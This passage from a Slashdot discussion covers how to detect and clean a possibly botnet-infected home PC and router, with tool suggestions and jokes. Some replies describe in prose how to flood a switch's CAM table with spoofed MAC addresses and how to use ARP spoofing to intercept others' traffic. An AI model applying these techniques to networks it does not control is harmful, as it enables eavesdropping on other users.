    For clients, don't re invent the wheel. NMAP is there, free and can run under win32 if you need. http://nmap.org/download.html , some instructions exist for detecting current security threats but I didn't really check since it is all OS X here, we have different issues than win32.

    1. Re:If you suspect the router itself by bjelkeman · · Score: 1

      Care to describe those "different issues"? Curious minds want to know.

      --
      Akvo.org - the open source for water and sanitation
    2. Re:If you suspect the router itself by Ilgaz · · Score: 1

      Well there are no worms yet but there are trojans, a full feature ssh server to be abused, some unix keyloggers or basically a user sharing the entire / with the World even while Apple does their best to prevent it.

      Compared to current Windows scene, it is heaven of course but if one manages to r/w share the root drive, it will be shared. Or if one installs "codec" to view some porn video, he will have a trojan running.

  12. Lojack for Laptops by tag · · Score: 1

    It's just Computrace.. Don't worry -- it will come back on its own.

  13. No by WindBourne · · Score: 4, Funny

    What it really means is that your dad is a part of an international crime ring and he really is a cracker, without your knowledge. He just felt that you did not have a clue so allowed you to play with his computer.

    --
    I prefer the "u" in honour as it seems to be missing these days.
    1. Re:No by selven · · Score: 1

      your dad is a part of an international crime ring and he really is a cracker

      Can I eat him?

    2. Re:No by Anonymous Coward · · Score: 0

      No! I want him.

      -Polly

  14. Re:Proof of Infection? Clean Reinstall by Anonymous Coward · · Score: 0

    I think he's using the term "hosts" in a different fashion than you are thinking he is. "Hosts" as in servers rather than "hosts" as in a hosts file. I could be wrong, though.

  15. Check out what's running when the OS boots by gr8dude · · Score: 1

    Boot into safe mode, then use a tool such as Autoruns by Sysinternals to see what's starting when Windows loads.

    On an infected system you will see a number of drivers and shell extensions that are not a part of a standard Windows installation. Some of them may be things that were installed by the user, but most of them are malicious software.

    Of course, getting rid of that stuff is an entirely different question.

    1. Re:Check out what's running when the OS boots by xeoron · · Score: 1

      I agree, along with peeking into the registry and seeing what programs are listed to be started at start up, and if the names don't mean anything to you, then google them, next delete all the entries that should not be there, followed by try and run any programs to remove malware once you reboot with those programs not starting up (works most of the time for me, but not always).

  16. A Subject by Anonymous Coward · · Score: 0

    Well you can join BOINC to donate your left over cpu cycles.
    You can join a botnet to donate your left over bandwidth.

    It's only nice.

  17. Doesn't work by Anonymous Coward · · Score: 1, Funny

    Doesn't work in XP.

    C> netstat -a | find "LISTENING" [ENTER]

    Response: NETSTAT is not not recognized as an internal or external command,operable program or batch file.

    1. Re:Doesn't work by Nefarious+Wheel · · Score: 1

      Doesn't work in XP.

      C> netstat -a | find "LISTENING" [ENTER]

      Response: NETSTAT is not not recognized as an internal or external command,operable program or batch file.

      Curious - which version of XP? Just ran that on my work laptop and it works fine. I'm running XP Pro 2002 SP2.

      --
      Do not mock my vision of impractical footwear
    2. Re:Doesn't work by Arthur+Grumbine · · Score: 2, Insightful

      Doesn't work in my already-compromised computer running XP.

      FTFY

      --
      Now that I think about it, I'm pretty sure everything I just said is completely wrong.
    3. Re:Doesn't work by Anonymous Coward · · Score: 0

      learn to troll

    4. Re:Doesn't work by internettoughguy · · Score: 1

      try it in cygwin :)

  18. How you can tell? by gmuslera · · Score: 1, Flamebait

    On boot it say "Welcome to Microsoft Windows"

    1. Re:How you can tell? by Anonymous Coward · · Score: 0

      I recall running a search fo viruses and other malware and guess what it came up with - potential security threat: Windows XP - itself. Although I had to agree I was unable to remove it :)

  19. Re:Proof of Infection? Clean Reinstall by Anonymous Coward · · Score: 0

    I would also suspect your machine as being potentially compromised if you connected using Windows remote desktop

    Citation needed.

  20. simple by ILuvRamen · · Score: 1

    It's either going to be a running process with startup entries and visible exe or DLL or whatever files, and then it's simple to find, or it's going to be hiding itself somehow. In the second case, use Rootkit Revealer. It's free and basically 100% heuristic with no definitions file at all. It just looks for inconsistencies between the registry and file system or something like that. I don't think any rootkits can hide from that.

    --
    Google's Super Secret Search Algorithm: SELECT @search_results FROM internet WHERE @search_results = 'good'
    1. Re:simple by cbiltcliffe · · Score: 1

      I don't think any rootkits can hide from that.

      You think wrong.

      The Rootkit Revealer page itself says there are ways that a rootkit can hide from it.

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
  21. Force a failover by Anonymous Coward · · Score: 0

    Most low-end switches will *become* hubs when you start shoving enough traffic through them that they can't queue it anymore. Fill up the ARP tables with crap really rapidly while transmitting, and they'll fail into dumb broadcast...

    1. Re:Force a failover by dotgain · · Score: 1

      Hardly a reliable or controlled test, relying on undefined behaviour of your 'switch'. In the process of confusing your ARP tables, you'll more likely prevent frames from reaching the correct destination: the router. You've either got a monitor port, or you haven't. You can't 'make' one by confusing the hell out of a cheap switch.

    2. Re:Force a failover by billcopc · · Score: 5, Interesting

      Please don't make unverified claims. I have seen this happen first-hand on several residential switches (5/8 port Linksys/Acer/whatever). It's how they can get away with crapping 8 ports on an underpowered processor with piddly amounts of memory.

      There's basically 3 ways a switch can deal with ARP overload:

      1. Ditch the least recently seen address (annoying and laggy but relatively clean)
      2. Slow down, panic, and stop forwarding packets altogether (hello Linksys)
      3. Ignore ARP entirely and revert to being a dumb hub, at least temporarily until everyone shuts up

      You'd be surprised how many A+ asshats have daisy-chained those cheap switches to save a buck. I remember one guy who had a cage full of shitty old gear going into a bunch of $40 Aopen switches, because he figured it was cheaper to cram a few U's with those tiny 8-port toys than to drop real money on a bunch of FSM750s. His latency was pretty bad for 100mbit, but his brain was even slower so he cared not. Then one day he added one device too many and a true packet storm ensued, which caused his entire network to seize within minutes. One switch barfed, then another, and another... he had four or five of them per rack, times maybe ten racks. I tried to explain how retarded he was for trying to save maybe $1000 per rack, when each rack had at least 50k worth of gear, but they say ignorance is bliss.

      --
      -Billco, Fnarg.com
    3. Re:Force a failover by mysidia · · Score: 1

      Switches don't have ARP tables, they have CAM tables. Only advanced (managed switches or Layer 3 switches know anything about ARP protocol)

      You don't have to send a lot of traffic, just spoof lots of MAC addresses, and continuously send one frame with each MAC address as the source, once every 3 minutes or so.

      It doesn't take very much traffic at all to put 50,000 or so entries in the tables. Just about 200 packets per second, or about 1 kilobyte per second worth of traffic will do it. Multiply that by 100 if your tinky little switch can handle 1 million MAC entries.

      It's a simple physical fact, that small switches don't have enough of the expensive associative memory rqeuired to have large tables.

    4. Re:Force a failover by mysidia · · Score: 2, Interesting

      That's rather unfounded, it's not undefined behavior, and it's well understood. The simple fact is cheap switches have such a small CAM table available, that they can be filled up even in normal operation. It doesn't take very many packets per second or very many kilobytes per second to keep the table filled up, just frames with unique MAC addresses.

      Even large expensive switches can have their CAM tables filled up, and they do the same thing (but the admin has more controls to stop it).

      When an Ethernet frame arrives that has a destination MAC address not in the table, the switch will send the frame out all ports except the source port.

      In normal operation, every received Ethernet frame is inspected, if the source MAC address is not in the table, and there's room in the table, then it is added. , if there is no place to store the new CAM entry, it's not stored, and the MAC address remains unknown.

      Similarly, old entries in the table will get removed (usually after about 5 minutes, if no more frames have been received from that source)

      When a switch receives a frame, and there is no CAM entry for the destination MAC addresses, the switch has to send every frame received out all ports, because it doesn't know the right destination.

      Ergo, if the CAM table has been flooded, the flood is sustained, AND the MAC address whose traffic you want to sniff is not in the table, then all other ports will receive traffic they send.

      It is true that it's dependant on how much memory the switch has.

      There is another layer 2 attack called "ARP Injection" which is more reliable in this regard, especially when combined with CAM flooding.

      However, ARP injection is easily detected by the security concerned just by watching system logs, and there are tools to easily detect it.

      CAM flooding is harder, especially if the data sent in the Ethernet frame isn't a valid IP payload, they can be constructed in such a way that many ordinary packet sniffers will not detect the CAM flooding.

      The security concerned use SNMPv3 managed switches that allow forwarding table monitoring and a network management station that can detect such incidents.

    5. Re:Force a failover by mysidia · · Score: 2, Insightful

      It's true devices can do those things, and yeah, you would certainly need to test before trying flooding as a solution. (1) and (3) are really the only proper choices.

      (2) is definitely a defect in the device, that the manufacturer should fix. I equate it to a hard drive running out of disk space, and deciding to shut itself off, instead of reporting an error when you try to write past the end of the disk.

      But I suppose he did say it was a cheap switch, and sometimes, you really do get what you pay for.

    6. Re:Force a failover by dotgain · · Score: 1

      First you tell me not to make unverified claims (presumably referring to "undefined behaviour"), and then go on to itemise three ways a switch might deal with an ARP overload, even identifying that a Linksys switch, in your experience, will behave differently than others, in a completely undesirable manner in fact. Fuck me dead.

      Secondly: No I would not be surprised at how many A+ asshats have daisy-chained these fuckers all around the floor. I've yanked them out by the dozen and forbidden them from use without at least arranging their deployment with me - otherwise the appearance of multiple MACs on a user port would trigger my port security.

      I know that some switches will flood unknown unicasts if their CAMs get full. But you've shown yourself that you can't rely on how cheap nasty switches are going to perform even with some such as ARP flooding which would otherwise seem predictable and defined. You don't know how the code in these horrible, demonic little pieces of shit has been written, and that's why I'm saying: Don't ARP flood a cheap switch and expect it'll flood all unicasts as a result. Even if you are successful and get flooded unicasts, perhaps you'll have no control over the switches downstream toward the router, which might not take kindly to your pointless spewing of fake MACs to the network. I can say for sure if you tried that on one of my ordinary user ports, you'd be shut out immediately the switch saw a second ARP entry for a port that should normally have only one.

      But then, if you had a port on my switch, and needed to monitor frames in either direction between to arbitrary other ports you'd get just that - a properly configured SPAN port that's going to do exactly what we expect, and no silly messing around with ARP spoofing just to confuse matters at the packet sniffing end.

    7. Re:Force a failover by konigstein · · Score: 1

      Cisco switches iirc are designed to change into broadcast mode when the MAC table overfills. Also, just because you are on a switch doesn't mean you can't see their traffic, it just means you have to work for it. Enable forwarding and use ARP spoofing to spoof the gateway and their PC and you'll see all the traffic on that segment.

      --
      This space intentionally left blank
  22. Try using rubotted or dronebl by Anonymous Coward · · Score: 2, Informative

    The rubotted tool does a pretty decent job of detecting most botted computers. Have your dad download it here:

    http://www.trendsecure.com/portal/en-US/tools/security_tools/rubotted

    You could also look for his system on the dronebl:

    http://dronebl.org/

    Good luck!

    1. Re:Try using rubotted or dronebl by HikingStick · · Score: 2, Informative

      I've had success using Trend Micro's RUBotted. It monitors for some typical bot behaviors, like making phone-home connections. It was handy around the office when I was trying to track down a bot that wasn't caught by our AV/Firewall product. Once the machines were identified by RUBotted, I was able to remediate them (one I had to nuke, but was able to recover one of the machines).

      --
      I use irony whenever I can, but my shirts are still wrinkled...
  23. Re:Proof of Infection? Clean Reinstall by RetroGeek · · Score: 5, Informative

    Then I patch it as far as I can over their 56k modem.

    Get Autopatcher and update it from a CD BEFORE you connect it to anything.

    --

    - - - - - - - - - - -
    I am a programmer. I am paid to produce syntax not grammar. Deal with it.
  24. You can tell if.. by papasui · · Score: 3, Funny

    It makes remarks about wanting to try other operating software. It's unusually concerned about antivirus protection. Plug and Play only works with force-feedback devices. It makes unusually long "hand-shakes" with the email server. It accuses you of installing spyware. It asks you to run your network scans in promiscuous mode. It tells you that it's mainframe never liked you.

    1. Re:You can tell if.. by Eudial · · Score: 1

      ... it simulates an antenna fault. It refuses to open the pod bay door. It eavesdrops on your conversations. It kills your crew mate. It sings daisy as you kill it.

      --
      GAAH! MY PRINTER IS ON FIRE!!! PUT IT OUT! PUT IT OUT!
  25. Snort ? by lbalbalba · · Score: 0

    A free lightweight network intrusion detection system for UNIX and Windows (http://www.snort.org/) should be able to detect any anomalous behavior.

  26. Dont sweat it.... by Phizzle · · Score: 1

    Your Dad was just torrenting porn.

    --
    I will not be pushed, filed, stamped, indexed, briefed, debriefed or numbered. My life is my own.
    1. Re:Dont sweat it.... by Hatta · · Score: 1

      How would a video file deliver a virus payload?

      --
      Give me Classic Slashdot or give me death!
    2. Re:Dont sweat it.... by 1s44c · · Score: 1

      How would a video file deliver a virus payload?

      The normal buffer overflow way. I don't know about video but this has been done in images on windows.

  27. Reimage is the least waste of time. by Anonymous Coward · · Score: 0

    In the time it took to scan the PC, check logs, and post this question, you could have restored your PC image and been off and running clean again.

    You do make an image of your Windows PC, right? You wipe and reload the image regularly, right?

    If you are going to use Windows, treat it like a needle or syringe. They make them cheap and disposable for a reason. Do not reuse. You can reimage in 30 minutes. Do this once a month or more often as needed.

    Your monthly Windows Update after the reimage will probably take longer than the reimage.

    Build a new image every 6 months or so, and after each service pack, obviously.

    1. Re:Reimage is the least waste of time. by $RANDOMLUSER · · Score: 1

      It is absolutely breathtaking to me that people think the above behavior is somehow "normal".

      --
      No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    2. Re:Reimage is the least waste of time. by Anonymous Coward · · Score: 0

      Do you keep having to clean your shoes because you keep stepping in dog shit?

      Rather than investing in a fancy shoe cleaning machine, have you considered looking where you are going?

    3. Re:Reimage is the least waste of time. by The+Archon+V2.0 · · Score: 1

      It is absolutely breathtaking to me that people think the above behavior is somehow "normal".

      Depending on how the user uses the computer, it can be. Me? I don't need that. I do keep a backup image in case, and update it every so often, but I have yet to need it.

      On the other hand, in the PC shop where I work, we have this one customer.... He was bringing his PC in so often (literally monthly) due to the mass of spyware and viruses on it that we made a fresh image of the OS and burned it onto disk, then when he came in he could opt for the full-price diagnostic and install or go for the cut-rate reimage. He managed to stay away for two months once when the tech taped a note to the PC that basically said "If it's free, it's a virus. Don't click on it!" But then he saw these smileys that he just had to use in his e-mails....

    4. Re:Reimage is the least waste of time. by Anonymous Coward · · Score: 0

      On the other hand, in the PC shop where I work, we have this one customer.... He was bringing his PC in so often (literally monthly) due to the mass of spyware and viruses on it that we made a fresh image of the OS and burned it onto disk, then when he came in he could opt for the full-price diagnostic and install or go for the cut-rate reimage.

      And let me guess: Every time you did this, you left him with a Windows PC that he logged into either as Administrator or Administrator-equivalent, rather than properly setting it up and securing it?

  28. Re:Proof of Infection? Clean Reinstall by anonymousNR · · Score: 1

    spend time with him to show him how to go to IE and click Tools -> Update

    Not to be a troll, I was from Hyderabad too.
    There is a little chance that this XP is a "genuine" one to allow updates.

    --
    -- It is the mark of an educated mind to be able to entertain a thought without accepting it. -- Aristotle
  29. Skype? by Peter+Simpson · · Score: 1

    I have seen this happening with a computer running Skype.. Is your dad running Skype? Tell him to kill the Skype process in the system tray & see if the problem goes away.

    1. Re:Skype? by Domini · · Score: 1

      I've seen this as well with Skype. Which is why I think many corporates ban the use (or try to) of Skype.

  30. XP Version by Anonymous Coward · · Score: 0

    XP Home sp3

    Guess it's Borked

    1. Re:XP Version by runep · · Score: 1

      "Home" is pretty much Microsoft-speak for "Borked".

    2. Re:XP Version by Anonymous Coward · · Score: 0

      Dats OK, cuz it's my girlfriends laptop, all my machines run Linux.

      And I'm installing Linux Mint or some other friendly distro on this for her.

      No more Windows.

      Now I can Bork my Linux boxes.

    3. Re:XP Version by rcamans · · Score: 1

      I thought Microsoft was speak for Borked. When did this special MS qualification for Home occur?

      --
      wake up and hold your nose
  31. Dear Slashdot by $RANDOMLUSER · · Score: 1, Funny

    While my father was cleaning his gun, he loaded it and emptied the clip into his foot. He then reloaded and pumped another four slugs into the same foot. So I was wondering, does any one know where I can get a good deal on Band-Aids? Thanks.

    --
    No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    1. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      SCO

  32. Re:Proof of Infection? Clean Reinstall by Capt.DrumkenBum · · Score: 1

    Let me add to your list of cleaning tools. http://www.malwarebytes.org/
    And please! For the love of Linux, remove Symantec products from your list.

    Format and reinstall, if is the only way to be sure.

    --
    If I were God, wouldn't I protect my churches from acts of me?
  33. Microsoft by Anonymous Coward · · Score: 0

    Aren't all Windows machines part of botnet by default? Microsoft?

  34. Default Settings by krygny · · Score: 1, Insightful

    For some reason, he reset the config on the Linksys, and connected it up without wireless security, and also with the default admin password for some time.

    He probably just stuck a pencil in the reset button. Maybe because he was having connection problems for some other reason and that "fixed" it and he was happy. Ignorance is bliss ... for a while.

    --
    Research shows that 67% of those who use the term "research shows", are just making shit up.
    1. Re:Default Settings by Anonymous Coward · · Score: 0

      For some reason, he reset the config on the Linksys, and connected it up without wireless security, and also with the default admin password for some time.

      He probably just stuck a pencil in the reset button. Maybe because he was having connection problems for some other reason and that "fixed" it and he was happy. Ignorance is bliss ... for a while.

      Not necessarily. One day my password just stopped working. I was contemplating replacing the router but I gave it one last chance by trying the default password. It worked; everything had been reset and the wireless security was gone. Not sure why this happened.

    2. Re:Default Settings by geminidomino · · Score: 1

      Not necessarily. One day my password just stopped working. I was contemplating replacing the router but I gave it one last chance by trying the default password. It worked; everything had been reset and the wireless security was gone. Not sure why this happened.

      Because you bought a linksys...

  35. wire shark by systematical · · Score: 1

    Would wireshark work to capture traffic going to the botnet? Isn't it IRC traffic so you could just sort by that traffic type?

  36. MalwareBytes by Somegeek · · Score: 1

    One word:

    malwarebytes

    Detecting and removing botnet software is its purpose in life.

    http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?tag=mncol

    --
    And as you tread the halls of sanity, You feel so glad to be, Unable to go beyond. I have a message, From another time..
  37. Local Support by Anonymous Coward · · Score: 0

    He is in the hub of all Computer tech support nowadays - why are you asking the rest of the world - get someone local to fix it.

  38. Re:Proof of Infection? Clean Reinstall by Anonymous Coward · · Score: 2, Funny

    For a suspicion? Good luck with that.

  39. Some Answers to the questions asked here... by ashraya · · Score: 5, Interesting

    A good many replies here - so I will answer a few questions that have been asked.

    1. For this time, I assumed the systems were owned, and they have now been rebuild (Windows Reinstalled).
    2. The Linksys is re-secured - but I hadnt thought of that being owned - so I have to now do a firmware upgrade on that - Thanks for the suggestion.
    3. Other suggestions are to confirm botnet or sniff traffic - I am in the UK, and I can only do so much remotely.
    4. One of the quesions was how I managed to remote into the windows hosts - No, I managed to remote into the Linksys, not the windows hosts.
    5. The bizzarre situation in the Windows host before it was rebuilt was that if we did (I told the commands over the phone for my dad to execute) ping or traceroute to a destination like www.google.co.in, it would work. It would resolve the right IP. However, with any of the browsers, as soon as access to a site was attempted - We would get a message "Connection Reset" or the browsers equivalent. (Firefox, Chrome and IE tried). Has anyone seen that one before?
    6. Another question asked was if the Windows in question was legit - Yes, I bought him a OEM XP the last time I was there and installed it.

    Regards,
    Ashraya

    1. Re:Some Answers to the questions asked here... by sgt+scrub · · Score: 1

      2. The Linksys is re-secured - but I hadn't thought of that being owned - so I have to now do a firmware upgrade on that - Thanks for the suggestion.

      You really should look into putting ntop and tcpdump on the router. (I'm assuming it is running Linux obviously) These tools are indescribably helpful when diagnosing intrusions.

      http://www.ntop.org/news.html
      http://openmaniak.com/tcpdump.php

      If your router isn't running Linux, and you can afford the extra electricity costs, put together a Linux or BSD firewall for him.

      --
      Having to work for a living is the root of all evil.
    2. Re:Some Answers to the questions asked here... by rantingkitten · · Score: 1

      3. Other suggestions are to confirm botnet or sniff traffic - I am in the UK, and I can only do so much remotely.

      Wireshark and tcpdump can both be installed on Windows. I've found it handy for such things. Have tcpdump log all traffic on your father's machine for a while, outputting to a logfile somewhere, and then get the file on your own machine and do whatever analysis you need.

      --
      mirrorshades radio -- darkwave, industrial, futurepop, ebm.
    3. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 0

      As to #5, do you happen to have a proxy setup in the IE settings?

    4. Re:Some Answers to the questions asked here... by Hatta · · Score: 1

      Other suggestions are to confirm botnet or sniff traffic - I am in the UK, and I can only do so much remotely.

      You can have him install Cygwin, ssh in, and do all the sniffing you want.

      --
      Give me Classic Slashdot or give me death!
    5. Re:Some Answers to the questions asked here... by Knara · · Score: 1

      It's prolly good to assume it was compromised, *but* it's worth noting that some common applications can look like they are from an owned box, given the right circumstances. i.e. Skype will sequentially scan for open ports if it can't a standard one right away that it wants to use.

    6. Re:Some Answers to the questions asked here... by moranar · · Score: 1

      Another question asked was if the Windows in question was legit - Yes, I bought him a OEM XP the last time I was there and installed it.

      Ahem. You're not supposed to do that. That's not what one calls 'a legit Windows install'. Or am I confused? I thought OEM can't be bought separately from computers.

      --
      "I think it would be a good idea!"
      Gandhi, about Internet Security
    7. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 0

      ....my question is: wtf did u get fuked up windoze for your poor old noob dad??? yer a jerk..

    8. Re:Some Answers to the questions asked here... by ShakaUVM · · Score: 1

      Ahem. You're not supposed to do that. That's not what one calls 'a legit Windows install'. Or am I confused? I thought OEM can't be bought separately from computers.

      Fry's sells OEM WinOS disks. I think they're maybe supposed to be tied to the purchase of a motherboard, but if that's true, they certainly don't enforce it.

    9. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 1, Informative

      >5. The bizzarre situation in the Windows host before it was rebuilt was that if we did (I told the commands over the phone for my dad to execute) ping or traceroute >to a destination like www.google.co.in, it would work. It would resolve the right IP. However, with any of the browsers, as soon as access to a site was attempted - >We would get a message "Connection Reset" or the browsers equivalent. (Firefox, Chrome and IE tried). Has anyone seen that one before?

      I faced a similar situation. I traced it to Norton products not uninstalling properly (the culprit here was Norton Internet Security) which screwed up the internet connectivity.

      I ran the all-in-one Norton Removal Tool (http://service1.symantec.com/Support/tsgeninfo.nsf/docid/2005033108162039) and it got fixed.

    10. Re:Some Answers to the questions asked here... by Zantetsuken · · Score: 1

      Any authorized company can sell OEM Windows licenses, and is as a rule of thumb loads cheaper than the retail package. The catch is, if the company you bought it from ever goes under, your Windows license is now illegal. Or at least that's what I was told by my MSDN teacher in my MSDN Windows desktop and server courses...

    11. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 0

      I guess the best idea is to buy Kaspersky or NOD32 and I guess the problems would go away by itself.

    12. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 0

      6. Another question asked was if the Windows in question was legit - Yes, I bought him a OEM XP the last time I was there and installed it.

      You could've just said it's not legit...

    13. Re:Some Answers to the questions asked here... by Phroggy · · Score: 1

      ping or traceroute to a destination like www.google.co.in, it would work. It would resolve the right IP. However, with any of the browsers, as soon as access to a site was attempted - We would get a message "Connection Reset" or the browsers equivalent. (Firefox, Chrome and IE tried).

      Broken firewall software can cause this sort of thing - not usually the built-in firewall, but something like Norton Internet Security and similar products. Don't just disable it - completely uninstall the program, and see if that fixes the problem. If so, go ahead and reinstall.

      If you need to download something, try command-line FTP.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    14. Re:Some Answers to the questions asked here... by complete+loony · · Score: 1

      I had a rootkit on my win xp64 box that was randomly redirecting google search results. It seemed to be screwing around with the http request at a network level and had some other side effects. Whatever it was doing was confusing steam so much it refused to update any game content.

      If you had the same or similar infection, but the web server it was redirecting to wasn't listening anymore you might get a connection reset instead of the search page full of adds I was getting.

      Apart from the bizarre network traffic, the only clue I found to indicate that had an infection was by virus scanning a system restore point. None of the A/V systems I pointed at the disk could see it directly. I didn't manage to reboot into a live CD that could read my disk configuration so I ended up just reinstalling.

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    15. Re:Some Answers to the questions asked here... by timelessroguestar · · Score: 1

      not sure if the box I was having problems with was 0wned or not, but I've seen something like that happen when you use a not so intelligent software firewall and unusual network configuration. for example, having two routers hooked up together (one being set in switch mode) can cause firewalls to silently block all or more mind-bogglingly just some web requests. in my case when I dug deeper I found the firewall was logging some sort of ICMP based attack. i didn't have much luck with tweaking either of the two firewalls I tried and ended up having to uninstall them.

      i had tried using Sygate Personal Firewall which while old and probably no longer very secure, it was pretty nice. i had also tried Sunbelt which was thoroughly overcomplicated and not fine grain enough for ignoring specific false positives. the symptoms I saw were the "internet" was not working (YahooMail not authenticating OR the actual emails not opening) while most of everything else worked, except when it was everything that actually would not work.

      --
      Timeless Rogue Star - Defile Convention - Transcend Time, Life, the Universe, and Everything.
    16. Re:Some Answers to the questions asked here... by Malc · · Score: 1

      5. The bizzarre situation in the Windows host before it was rebuilt was that if we did (I told the commands over the phone for my dad to execute) ping or traceroute to a destination like www.google.co.in, it would work. It would resolve the right IP. However, with any of the browsers, as soon as access to a site was attempted - We would get a message "Connection Reset" or the browsers equivalent. (Firefox, Chrome and IE tried). Has anyone seen that one before?

      Did you try to debug HTTP using telnet? What about to sites that weren't on port 80?

    17. Re:Some Answers to the questions asked here... by ShakaUVM · · Score: 1

      Any authorized company can sell OEM Windows licenses, and is as a rule of thumb loads cheaper than the retail package. The catch is, if the company you bought it from ever goes under, your Windows license is now illegal. Or at least that's what I was told by my MSDN teacher in my MSDN Windows desktop and server courses...

      Hmm... so if Fry's goes out of business, Microsoft will revoke the licenses sold legally under its auspices? That seems dubious to me. Perhaps they would revoke the unsold copies.

      The only downside to an OEM copy AFAICT is that you don't get the pretty $100 box to hold the DVD in.

    18. Re:Some Answers to the questions asked here... by consonant · · Score: 1

      The last time I faced a similar problem (specific to this, sites responding to ping but not accessible through a browser) my ISP tech support (!!) made me tweak the MTU size.. registry do-able, but makes more sense to use something like DrTCP.

    19. Re:Some Answers to the questions asked here... by Deliveranc3 · · Score: 2, Insightful

      A Question... "without wireless security, and also with the default admin password for some time. "

      Your implication seems to be that someone wandered by your fathers house, saw an open wireless network and decided to insert packets to own his machine.

      WTF?!

      This seems like a pretty unlikely method of building a botnet compared to spam, website security holes, application fail (office, adobe, gif).

      It also seems to support the whole "sharing is bad" mentality that the RIAA and ISPs (and their net neutrality BS) are shoving down our throats. Though that might just be paranoia or my own politics interfering in what is really a technical matter.

    20. Re:Some Answers to the questions asked here... by lanes · · Score: 2, Informative

      You also can't upgrade from previous versions of Windows with an OEM copy, nor can you transfer the license to a new machine - it gets tied to the motherboard it's first installed on, and while I've heard that you can sometimes give Microsoft a sob story about the death of your old machine and they'll activate the license on another box, it seems to be a pretty rare occurrence. Basically, OEM licenses are intended to be installed once on a brand new machine, and when that machine dies, the license dies with it.

    21. Re:Some Answers to the questions asked here... by Anonymous Coward · · Score: 0

      Or possibly somebody wanted to check their email/facebook/whatever, connected to a handy available wireless network with their already infected laptop which in turn infected the other machines.

  40. Solaris does this automatically by JohnnyComeLately · · Score: 4, Interesting

    I remember from my Sun Solaris 8 network or sys admin class that they said the system will automatically configure itself as a gateway between two network cards. When my son gets old enough to start surfing on his own, it's what I intend to do. I've got an old Solaris 8 machine on an Ultra 10. I can put it out in the garage (next to the cable modem) and have it be a physical hop between the cable modem and Dual Band WiFi router.

    1. Re:Solaris does this automatically by Elshar · · Score: 1

      Yea, lots of OSes do this out of the box now. You'll need to do a tad more than just shove a Ultra 10 between your router and the rest of your home network, though.

    2. Re:Solaris does this automatically by jawtheshark · · Score: 1

      I do this with generic x86 hardware and OpenBSD. Yes, it is not automatic, but I prefer a certain degree of control. Currently, I'm migrating from an AMD64 3000+/2Gig RAM to a Soekris box. I don't need all that power, but I found the AMD in a dumpster, but I probably paid it already several time in power-bills.

      --
      Ahhh...the great dumpster continuum. Many a free computer will be found there. -- sowth (748135)
    3. Re:Solaris does this automatically by mysidia · · Score: 3, Informative

      It's true, by default Solaris has IP forwarding enabled between all interfaces.

      You can turn it off, by using: ndd -set /dev/ip ip_forwarding 0

      On most Linux systems, it's off by default, but you can enable it by doing echo 'net.ipv4.ip_forward = 1' >> /etc/sysctl.conf
      sysctl -p

      Or temporarily by doing sysctl -w net.ipv4.ip_forwarding=1

      This is not really an advantage of Solaris that it's enabled by default, but a security risk.

      My suggestion would be to instead use a cheap old x86 PC and install a firewall distro with integrated reporting and blocking functions such as Untangle on it.

      Or I suppose you could spend a few weeks tinkering with the Solaris box. But its traffic filtering capabilities are fairly limited/sparse at best, if you do use Solaris for such a thing you may be better off blocking port 80+443 and using a tailored Squid proxy, than relying on Solaris' default IP forwarding to help you.

      Squid gives you the flexibility to log URLs, and also, to block URLs, with addons like Squidguard.

    4. Re:Solaris does this automatically by Z00L00K · · Score: 1

      But don't forget to read up on "iptables" first and then configure it if you plan to do this on a Linux host.

      And if you run Solaris - you may really want to have something corresponding to "iptables" installed and configured before you connect that computer to the wilderness of the internet.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    5. Re:Solaris does this automatically by Anonymous Coward · · Score: 0

      You're going to run an old Solaris 8 box to be more SECURE?

    6. Re:Solaris does this automatically by Anonymous Coward · · Score: 0

      I can put it out in the garage (next to the cable modem) and

      Slashdot dad - teaching kids how to be geek from day 0

    7. Re:Solaris does this automatically by Sheen · · Score: 0

      So you are going to spy on your son? at least tell him about it. Even kids shouldnt have to tell -everything-, and they dont need mindpolice.

    8. Re:Solaris does this automatically by Anonymous Coward · · Score: 0

      Tell him, that you are doing it.

    9. Re:Solaris does this automatically by greed · · Score: 1

      Heck, if we're going by ability to do routing, rather than "enabled by default", the operating systems I've used where you can configure a box this way are: AIX, Mac OS (with OpenTransport), Windows NT family, Linux, BSD, Mac OS X, and so on.

      Solaris comes in "pwn me" mode by default. This is not a feature. (Patches will even re-enable things like telnet and rsh if you've previously disabled them... at least when I patched a Solaris 10 Update 4 box it did.)

    10. Re:Solaris does this automatically by ArsonSmith · · Score: 2, Insightful

      While he's under 18 and I'm legally responsible for the tings he downloads and does, yes I will spy on him.

      --
      Paying taxes to buy civilization is like paying a hooker to buy love.
  41. I do this for a living... by C_Jax · · Score: 1

    Running wire shark on the computer that might be infected is useless. Really nasty malware has the ability to hide it's traffic even from packet sniffers on the local host. I find the best bang for the buck is using a passive network tap and plug a sniffer into that. Now.. no need to go out and buy one as that will be expensive.. you can build one($18). http://www.instructables.com/id/Make_a_Passive_Network_Tap/ If you want to one-up this then get pc and install a network-based Intrusion Detection System(IDS), google snort, it'll look for abnormal network traffic patterns, and you can even configure them to notify you if it does detect something. Also.. take that linksys router and install DD-WRT on it and configure the firewall to block everything except what you know to be okay. Note: you can disable the reset button in DD-WRT =)

  42. Wipe the disk by JoeF · · Score: 1

    Wipe out the disk completely, and reinstall Windows.
    If you want to do an analysis later, make an image of the disk before wiping it.
    Run the image in an isolated network, where you can watch what's going on on the wire, but you are not causing harm to other computers.

    1. Re:Wipe the disk by 1s44c · · Score: 1

      Wipe out the disk completely, and reinstall Windows.

      Wipe out the disk completely, and install Linux.

      Or you can forever live in doubt. It's your choice.

  43. Oh, the irony... by jafiwam · · Score: 4, Funny

    Slashdot is doing tech-support for India now?

